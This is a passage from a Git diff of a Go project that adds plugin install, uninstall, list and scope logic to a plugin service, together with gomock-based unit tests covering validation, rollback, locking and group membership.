storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapterA.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(nil, fmt.Errorf("disk full")) + adapterA.EXPECT().Dematerialize(gomock.Any(), plugins.DematerializeRequest{Name: "my-plugin", Scope: plugins.ScopeUser}).Return(nil) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"claude-code", "codex"}, + }) + require.Error(t, err) + assert.Contains(t, err.Error(), "disk full") + }) + + t.Run("invalid client returns bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"not-a-real-client"}, + }) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + }) + + t.Run("empty string in clients list returns bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"claude-code", ""}, + }) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + }) + + t.Run("all sentinel expands to every materializer", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapterA.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.ElementsMatch(t, []string{"claude-code", "codex"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"all"}, + }) + require.NoError(t, err) + }) + + t.Run("all combined with explicit client returns bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": plugmocks.NewMockMaterializationAdapter(ctrl), + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"all", "claude-code"}, + }) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + assert.Contains(t, err.Error(), "cannot be combined") + }) + + t.Run("same digest adds second client without re-materializing first", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Digest: "sha256:abc", + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + // Only codex (the missing client) is materialized. + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Update(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.ElementsMatch(t, []string{"claude-code", "codex"}, p.Clients) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + Clients: []string{"claude-code", "codex"}, + }) + require.NoError(t, err) + }) + + t.Run("upgrade materializes for all existing clients", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapterA := plugmocks.NewMockMaterializationAdapter(ctrl) + adapterB := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Digest: "sha256:old", + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + // Upgrade re-materializes the union of existing + requested clients. + adapterA.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + adapterB.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Update(gomock.Any(), gomock.Any()).DoAndReturn( + func(_ context.Context, p plugins.InstalledPlugin) error { + assert.ElementsMatch(t, []string{"claude-code", "codex"}, p.Clients) + assert.Equal(t, "sha256:new", p.Digest) + return nil + }) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{ + "claude-code": adapterA, + "codex": adapterB, + })) + result, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:new", + Clients: []string{"codex"}, + }) + require.NoError(t, err) + assert.ElementsMatch(t, []string{"claude-code", "codex"}, result.Plugin.Clients) + }) +} + +func TestInstallRoundTrip(t *testing.T) { + t.Parallel() + + layerData := makePluginLayerData(t, "my-plugin") + + t.Run("install then list then uninstall", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + // Install. + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil) + store.EXPECT().Create(gomock.Any(), gomock.Any()).Return(nil) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + _, err := svc.Install(t.Context(), plugins.InstallOptions{ + Name: "my-plugin", + LayerData: layerData, + Digest: "sha256:abc", + }) + require.NoError(t, err) + + // List. + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "my-plugin"}, Clients: []string{"claude-code"}}, + }, nil) + listed, err := svc.List(t.Context(), plugins.ListOptions{}) + require.NoError(t, err) + require.Len(t, listed, 1) + assert.Equal(t, "my-plugin", listed[0].Metadata.Name) + + // Uninstall. + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + }, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), plugins.DematerializeRequest{Name: "my-plugin", Scope: plugins.ScopeUser}).Return(nil) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + + err = svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.NoError(t, err) + }) + + t.Run("uninstall is idempotent for missing record", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + store.EXPECT().Get(gomock.Any(), "nope", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + + svc := newTestService(WithStore(store), WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "nope"}) + require.NoError(t, err) + }) +} + +func TestInstallAddsPluginToGroup(t *testing.T) { + t.Parallel() + + layerData := makePluginLayerData(t, "my-plugin") + + tests := []struct { + name string + opts plugins.InstallOptions + setupStoreMock func(*storemocks.MockPluginStore) + setupGroupMock func(*groupmocks.MockManager) + wantErr string + }{ + { + name: "install with group registers plugin", + opts: plugins.InstallOptions{Name: "my-plugin", Group: "mygroup", LayerData: layerData, Digest: "sha256:abc"}, + setupStoreMock: func(s *storemocks.MockPluginStore) { + s.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + s.EXPECT().Create(gomock.Any(), gomock.Any()).Return(nil) + }, + setupGroupMock: func(gm *groupmocks.MockManager) { + gm.EXPECT().Get(gomock.Any(), "mygroup"). + Return(&groups.Group{Name: "mygroup", Plugins: []string{}}, nil) + gm.EXPECT().Update(gomock.Any(), gomock.Any()).Return(nil) + }, + }, + { + name: "install without group defaults to default group", + opts: plugins.InstallOptions{Name: "my-plugin", LayerData: layerData, Digest: "sha256:abc"}, + setupStoreMock: func(s *storemocks.MockPluginStore) { + s.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + s.EXPECT().Create(gomock.Any(), gomock.Any()).Return(nil) + }, + setupGroupMock: func(gm *groupmocks.MockManager) { + gm.EXPECT().Get(gomock.Any(), groups.DefaultGroup). + Return(&groups.Group{Name: groups.DefaultGroup, Plugins: []string{}}, nil) + gm.EXPECT().Update(gomock.Any(), gomock.Any()).Return(nil) + }, + }, + { + name: "group registration error rolls back DB record", + opts: plugins.InstallOptions{Name: "my-plugin", Group: "badgroup", LayerData: layerData, Digest: "sha256:abc"}, + setupStoreMock: func(s *storemocks.MockPluginStore) { + s.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + s.EXPECT().Create(gomock.Any(), gomock.Any()).Return(nil) + s.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + }, + setupGroupMock: func(gm *groupmocks.MockManager) { + gm.EXPECT().Get(gomock.Any(), "badgroup").Return(nil, fmt.Errorf("group not found")) + }, + wantErr: "registering plugin in group", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + gm := groupmocks.NewMockManager(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + adapter.EXPECT().Materialize(gomock.Any(), gomock.Any()).Return(&plugins.MaterializeResult{}, nil).AnyTimes() + + tt.setupStoreMock(store) + tt.setupGroupMock(gm) + + svc := newTestService(WithStore(store), WithGroupManager(gm), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + + _, err := svc.Install(t.Context(), tt.opts) + if tt.wantErr != "" { + require.Error(t, err) + assert.Contains(t, err.Error(), tt.wantErr) + } else { + require.NoError(t, err) + } + }) + } +} + +// tempDir returns an eval-symlink-resolved temp directory. Mirror of +// skillsvc.tempDir. +func tempDir(t *testing.T) string { + t.Helper() + realTmpDir, _ := filepath.EvalSymlinks(t.TempDir()) + return realTmpDir +} + +// Suppress unused-import in case a future trim removes the os/filepath use. +var _ = os.Stat diff --git a/pkg/plugins/pluginsvc/list.go b/pkg/plugins/pluginsvc/list.go new file mode 100644 index 0000000000..ab4e281e1d --- /dev/null +++ b/pkg/plugins/pluginsvc/list.go @@ -0,0 +1,63 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "net/http" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/storage" +) + +// List returns all installed plugins matching the given options. Mirror of +// skillsvc.List, substituting group.Plugins for group.Skills in the +// group-membership filter. +func (s *service) List(ctx context.Context, opts plugins.ListOptions) ([]plugins.InstalledPlugin, error) { + scope, projectRoot, err := normalizeProjectRoot(opts.Scope, opts.ProjectRoot) + if err != nil { + return nil, err + } + filter := storage.ListFilter{ + Scope: scope, + ClientApp: opts.ClientApp, + ProjectRoot: projectRoot, + } + all, err := s.store.List(ctx, filter) + if err != nil { + return nil, err + } + + if opts.Group == "" { + return all, nil + } + + if s.groupManager == nil { + return nil, httperr.WithCode( + fmt.Errorf("group filtering is not available: group manager is not configured"), + http.StatusInternalServerError, + ) + } + + group, err := s.groupManager.Get(ctx, opts.Group) + if err != nil { + return nil, fmt.Errorf("getting group %q: %w", opts.Group, err) + } + + // Build a lookup set of plugin names in the group. + groupPlugins := make(map[string]struct{}, len(group.Plugins)) + for _, name := range group.Plugins { + groupPlugins[name] = struct{}{} + } + + filtered := make([]plugins.InstalledPlugin, 0, len(all)) + for _, p := range all { + if _, ok := groupPlugins[p.Metadata.Name]; ok { + filtered = append(filtered, p) + } + } + return filtered, nil +} diff --git a/pkg/plugins/pluginsvc/scope.go b/pkg/plugins/pluginsvc/scope.go new file mode 100644 index 0000000000..24f692d309 --- /dev/null +++ b/pkg/plugins/pluginsvc/scope.go @@ -0,0 +1,30 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "net/http" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/plugins" +) + +// normalizeProjectRoot validates and normalizes the scope/projectRoot pair for +// a plugin operation. Mirror of skillsvc.normalizeProjectRoot; plugins.Scope is +// an alias of skills.Scope, so the normalization rule is identical. +func normalizeProjectRoot(scope plugins.Scope, projectRoot string) (plugins.Scope, string, error) { + normalizedScope, normalizedRoot, err := plugins.NormalizeScopeAndProjectRoot(scope, projectRoot) + if err != nil { + return normalizedScope, normalizedRoot, httperr.WithCode(err, http.StatusBadRequest) + } + return normalizedScope, normalizedRoot, nil +} + +// defaultScope returns ScopeUser when s is empty, otherwise returns s unchanged. +func defaultScope(s plugins.Scope) plugins.Scope { + if s == "" { + return plugins.ScopeUser + } + return s +} diff --git a/pkg/plugins/pluginsvc/service.go b/pkg/plugins/pluginsvc/service.go index ca65df466b..23ae33b67b 100644 --- a/pkg/plugins/pluginsvc/service.go +++ b/pkg/plugins/pluginsvc/service.go @@ -3,16 +3,23 @@ // Package pluginsvc provides the default implementation of plugins.PluginService. // -// Phase 2 (this package) implements only the build/validate/push/list-builds/ -// delete-build/get-content surface. Install/uninstall/list/info land in Phase 3 -// (#5527); the New constructor returns the narrowed plugins.PluginService -// interface (which exposes only the Phase-2 methods), so Phase 3 widens both -// the interface and the concrete type together. +// Phase 3 widens the Phase-2 build/validate/push/content surface with +// Install/Uninstall/List/Info and the per-client MaterializationAdapter seam. +// The New constructor returns plugins.PluginService, which now exposes the full +// lifecycle; callers pass WithStore/WithMaterializers/WithGroupManager (and the +// other Phase-3 options) to wire persistence and materialization. package pluginsvc import ( + "context" + "sync" + ociplugins "github.com/stacklok/toolhive-core/oci/plugins" + "github.com/stacklok/toolhive/pkg/client" + "github.com/stacklok/toolhive/pkg/git" + "github.com/stacklok/toolhive/pkg/groups" "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/storage" ) // Option configures the plugin service. @@ -39,33 +46,136 @@ func WithRegistryClient(rc ociplugins.RegistryClient) Option { } } -// Phase 2 does NOT include WithStore/WithPathResolver/WithInstaller/ -// WithGroupManager/WithSkillLookup/WithGitResolver — those are Phase 3 -// (install/uninstall/info flows). Adding them later is a non-breaking change -// (new options only). +// WithStore sets the persistence store for installed plugins. +func WithStore(store storage.PluginStore) Option { + return func(s *service) { + s.store = store + } +} + +// WithGroupManager sets the group manager for plugin group membership. +func WithGroupManager(mgr groups.Manager) Option { + return func(s *service) { + s.groupManager = mgr + } +} + +// WithMaterializers sets the per-client-type materialization adapters used to +// install a plugin tree into a target client's directory layout. +func WithMaterializers(m map[string]plugins.MaterializationAdapter) Option { + return func(s *service) { + s.materializers = m + } +} + +// WithGitClient sets a fixed git client used by the git install flow, bypassing +// per-clone auth resolution. Primarily used for testing with mock clients; +// mirrors gitresolver.WithGitClient. +func WithGitClient(c git.Client) Option { + return func(s *service) { + s.gitClient = c + } +} + +// WithClientManager sets the client manager used to validate that requested +// clients support plugins. Optional: when nil, the materializers map is the +// sole source of truth for plugin-supporting clients. +func WithClientManager(cm *client.ClientManager) Option { + return func(s *service) { + s.clientManager = cm + } +} + +// PluginSearchHit is a single result from a registry-name plugin search. It is +// the plugin analogue of a registry skill hit, used by the registry-name +// install flow that lands in a later Phase-3 wave. +type PluginSearchHit struct { + // Name is the plugin name (kebab-case). + Name string `json:"name"` + // Description is a human-readable description of the plugin. + Description string `json:"description,omitempty"` + // Packages lists the OCI packages that publish this plugin. + Packages []PluginPackage `json:"packages,omitempty"` +} + +// PluginPackage describes a single OCI package backing a plugin search hit. +type PluginPackage struct { + // Reference is the full OCI reference (e.g. ghcr.io/org/plugin:v1). + Reference string `json:"reference"` + // Type is the package type (e.g. "oci"). + Type string `json:"type,omitempty"` +} + +// PluginLookup resolves a plain plugin name against a registry/index. This seam +// stays unwired in Wave 0; the registry-name install flow lands in a later +// Phase-3 wave. It mirrors skillsvc.SkillLookup. +type PluginLookup interface { + SearchPlugins(ctx context.Context, query string) ([]PluginSearchHit, error) +} + +// WithPluginLookup sets the registry-based plugin lookup for name resolution. +func WithPluginLookup(pl PluginLookup) Option { + return func(s *service) { + s.pluginLookup = pl + } +} + +// pluginLock provides per-plugin mutual exclusion keyed by scope/name/projectRoot. +// Entries are never evicted. This is acceptable because the number of distinct +// plugins on a single machine is expected to remain small (< 1000). The key +// shape (scope/name/projectRoot) is identical to skillsvc.skillLock. // -// The per-(scope,name,projectRoot) lock (mirroring skillsvc.skillLock) is also -// Phase 3: Phase 2 has no install/uninstall path that needs mutual exclusion. - -// service is the default implementation of the Phase-2 plugin surface. -// It implements Validate/Build/Push/ListBuilds/DeleteBuild/GetContent, which -// together satisfy the narrowed plugins.PluginService interface. Phase 3 will -// add the install/uninstall/list/info methods, a store field, and widen the -// interface. +// The install/uninstall flows acquire per-key mutexes through lock() (mirroring +// skillsvc.service.install/uninstall). +type pluginLock struct { + mu sync.Mutex + // locks holds per-key mutexes. INVARIANT: entries must never be deleted + // from this map. The two-phase lock() method depends on pointers remaining + // valid after the global mutex is released. See lock() for details. + locks map[string]*sync.Mutex +} + +// lock acquires a per-plugin mutex and returns a function that releases it. +func (pl *pluginLock) lock(name string, scope plugins.Scope, projectRoot string) func() { + pl.mu.Lock() + key := string(scope) + "/" + name + "/" + projectRoot + m, ok := pl.locks[key] + if !ok { + m = &sync.Mutex{} + pl.locks[key] = m + } + pl.mu.Unlock() + + m.Lock() + return m.Unlock +} + +// service is the default implementation of plugins.PluginService. It implements +// the build/validate/push/content surface (Phase 2) and the install/uninstall/ +// list/info surface (Phase 3), the latter driving per-client materialization +// through the configured MaterializationAdapters. type service struct { - ociStore *ociplugins.Store - packager ociplugins.PluginPackager - registry ociplugins.RegistryClient + locks pluginLock + store storage.PluginStore + groupManager groups.Manager + materializers map[string]plugins.MaterializationAdapter + ociStore *ociplugins.Store + packager ociplugins.PluginPackager + registry ociplugins.RegistryClient + pluginLookup PluginLookup + gitClient git.Client + clientManager *client.ClientManager } -// New creates a new plugin service and returns it as a plugins.PluginService -// (the narrowed Phase-2 interface exposing only -// Validate/Build/Push/ListBuilds/DeleteBuild/GetContent). Phase 3 (#5527) -// widens the interface and concrete type together to add install/uninstall/ -// list/info; callers that need persistence then pass a WithStore option (added -// in that PR). +// New creates a new plugin service and returns it as a plugins.PluginService. +// Callers wire persistence (WithStore), per-client materialization +// (WithMaterializers), group membership (WithGroupManager), git installs +// (WithGitClient), and registry-name lookup (WithPluginLookup) via options; +// the OCI store/packager/registry options carry over from Phase 2. func New(opts ...Option) plugins.PluginService { - s := &service{} + s := &service{ + locks: pluginLock{locks: make(map[string]*sync.Mutex)}, + } for _, o := range opts { o(s) } diff --git a/pkg/plugins/pluginsvc/testhelpers_test.go b/pkg/plugins/pluginsvc/testhelpers_test.go index 111c9c5c3d..68e35b652a 100644 --- a/pkg/plugins/pluginsvc/testhelpers_test.go +++ b/pkg/plugins/pluginsvc/testhelpers_test.go @@ -4,12 +4,15 @@ package pluginsvc import ( + "encoding/json" "fmt" "os" "path/filepath" "testing" godigest "github.com/opencontainers/go-digest" + specs "github.com/opencontainers/image-spec/specs-go" + ocispec "github.com/opencontainers/image-spec/specs-go/v1" "github.com/stretchr/testify/require" ociplugins "github.com/stacklok/toolhive-core/oci/plugins" @@ -49,3 +52,63 @@ func putTestManifest(t *testing.T, store *ociplugins.Store) godigest.Digest { require.NoError(t, err) return d } + +// buildPluginManifestWithLayerSize stores a plugin artifact whose manifest +// declares an oversized layer (without storing matching blob content), so the +// layer-size guard in extractPluginOCIContent rejects it before GetBlob. +// Mirrors skillsvc.buildManifestWithLayerSize. +func buildPluginManifestWithLayerSize(t *testing.T, store *ociplugins.Store, pluginName string, layerSize int64) godigest.Digest { + t.Helper() + imgConfig := ocispec.Image{ + Config: ocispec.ImageConfig{ + Labels: map[string]string{ + ociplugins.LabelPluginName: pluginName, + ociplugins.LabelPluginDescription: "test", + ociplugins.LabelPluginVersion: "1.0.0", + }, + }, + } + configBytes, err := json.Marshal(imgConfig) + require.NoError(t, err) + configDigest, err := store.PutBlob(t.Context(), configBytes) + require.NoError(t, err) + + layerBytes := []byte("layer") + layerDigest, err := store.PutBlob(t.Context(), layerBytes) + require.NoError(t, err) + + manifest := ocispec.Manifest{ + Versioned: specs.Versioned{SchemaVersion: 2}, + MediaType: ocispec.MediaTypeImageManifest, + ArtifactType: ociplugins.ArtifactTypePlugin, + Config: ocispec.Descriptor{ + MediaType: ocispec.MediaTypeImageConfig, + Digest: configDigest, + Size: int64(len(configBytes)), + }, + Layers: []ocispec.Descriptor{ + { + MediaType: ocispec.MediaTypeImageLayerGzip, + Digest: layerDigest, + Size: layerSize, + }, + }, + } + manifestBytes, err := json.Marshal(manifest) + require.NoError(t, err) + manifestDigest, err := store.PutManifest(t.Context(), manifestBytes) + require.NoError(t, err) + return manifestDigest +} + +// makeProjectRoot returns an eval-symlink-resolved temp directory with a .git +// subdir so NormalizeScopeAndProjectRoot accepts it as a project root. Mirror +// of skillsvc.makeProjectRoot. +func makeProjectRoot(t *testing.T) string { + t.Helper() + dir := t.TempDir() + resolved, err := filepath.EvalSymlinks(dir) + require.NoError(t, err) + require.NoError(t, os.MkdirAll(filepath.Join(resolved, ".git"), 0o755)) + return resolved +} diff --git a/pkg/plugins/pluginsvc/testservice_test.go b/pkg/plugins/pluginsvc/testservice_test.go new file mode 100644 index 0000000000..dcea0d508d --- /dev/null +++ b/pkg/plugins/pluginsvc/testservice_test.go @@ -0,0 +1,12 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +// newTestService builds a *service (the concrete type exposing the Phase-3 +// Install/Uninstall/List/Info methods) from the given options. The public New +// constructor returns the full plugins.PluginService interface; tests cast to +// the concrete type to exercise package-private state. +func newTestService(opts ...Option) *service { + return New(opts...).(*service) +} diff --git a/pkg/plugins/pluginsvc/uninstall.go b/pkg/plugins/pluginsvc/uninstall.go new file mode 100644 index 0000000000..1ea8609fa3 --- /dev/null +++ b/pkg/plugins/pluginsvc/uninstall.go @@ -0,0 +1,75 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "errors" + "fmt" + "net/http" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/groups" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/storage" +) + +// Uninstall removes an installed plugin and dematerializes it for all clients. +// Dematerialization is best-effort: errors are collected via errors.Join so a +// single client failure does not abort cleanup of the others. The DB record is +// always deleted (when present), making Uninstall idempotent. Mirror of +// skillsvc.Uninstall, substituting MaterializationAdapter.Dematerialize for +// pathResolver + installer.Remove. +func (s *service) Uninstall(ctx context.Context, opts plugins.UninstallOptions) error { + if err := plugins.ValidatePluginName(opts.Name); err != nil { + return httperr.WithCode(err, http.StatusBadRequest) + } + + scope, projectRoot, err := normalizeProjectRoot(opts.Scope, opts.ProjectRoot) + if err != nil { + return err + } + scope = defaultScope(scope) + opts.ProjectRoot = projectRoot + + unlock := s.locks.lock(opts.Name, scope, opts.ProjectRoot) + defer unlock() + + existing, err := s.store.Get(ctx, opts.Name, scope, opts.ProjectRoot) + if err != nil { + // Idempotent: a missing record is not an error. + if errors.Is(err, storage.ErrNotFound) { + return nil + } + return err + } + + // Dematerialize for each client — best-effort. + var cleanupErrs []error + for _, clientType := range existing.Clients { + adapter, ok := s.materializers[clientType] + if !ok { + continue + } + if dmErr := adapter.Dematerialize(ctx, plugins.DematerializeRequest{ + Name: opts.Name, + Scope: scope, + ProjectRoot: opts.ProjectRoot, + }); dmErr != nil { + cleanupErrs = append(cleanupErrs, fmt.Errorf("dematerializing plugin for client %q: %w", clientType, dmErr)) + } + } + + if err := s.store.Delete(ctx, opts.Name, scope, opts.ProjectRoot); err != nil { + return err + } + + if s.groupManager != nil { + if groupErr := groups.RemovePluginFromAllGroups(ctx, s.groupManager, opts.Name); groupErr != nil { + cleanupErrs = append(cleanupErrs, fmt.Errorf("removing plugin from groups: %w", groupErr)) + } + } + + return errors.Join(cleanupErrs...) +} diff --git a/pkg/plugins/pluginsvc/uninstall_test.go b/pkg/plugins/pluginsvc/uninstall_test.go new file mode 100644 index 0000000000..f2706b4baf --- /dev/null +++ b/pkg/plugins/pluginsvc/uninstall_test.go @@ -0,0 +1,204 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "errors" + "net/http" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/groups" + groupmocks "github.com/stacklok/toolhive/pkg/groups/mocks" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +func TestUninstall(t *testing.T) { + t.Parallel() + + t.Run("rejects invalid name with bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "INVALID"}) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + }) + + t.Run("rejects project scope without root", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{ + Name: "my-plugin", + Scope: plugins.ScopeProject, + }) + require.Error(t, err) + }) + + // Dematerialize returns an error but store.Delete still runs and succeeds; + // the dematerialize error is surfaced via errors.Join. + t.Run("dematerialize error still deletes record and returns joined error", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(existing, nil) + adapter.EXPECT().Dematerialize(gomock.Any(), gomock.Any()). + Return(errors.New("permission denied")) + store.EXPECT().Delete(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(nil) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + err := svc.Uninstall(t.Context(), plugins.UninstallOptions{Name: "my-plugin"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "dematerializing plugin for client") + assert.Contains(t, err.Error(), "permission denied") + }) + + // store.Delete fails: the dematerialize errors collected so far are dropped + // because Delete aborts the flow (its error is returned directly). This + // documents the current contract per the code: the collected cleanupErrs + // are only returned after a successful Delete. + t.Run("store delete failure aborts and returns the delete error", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + existing := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, 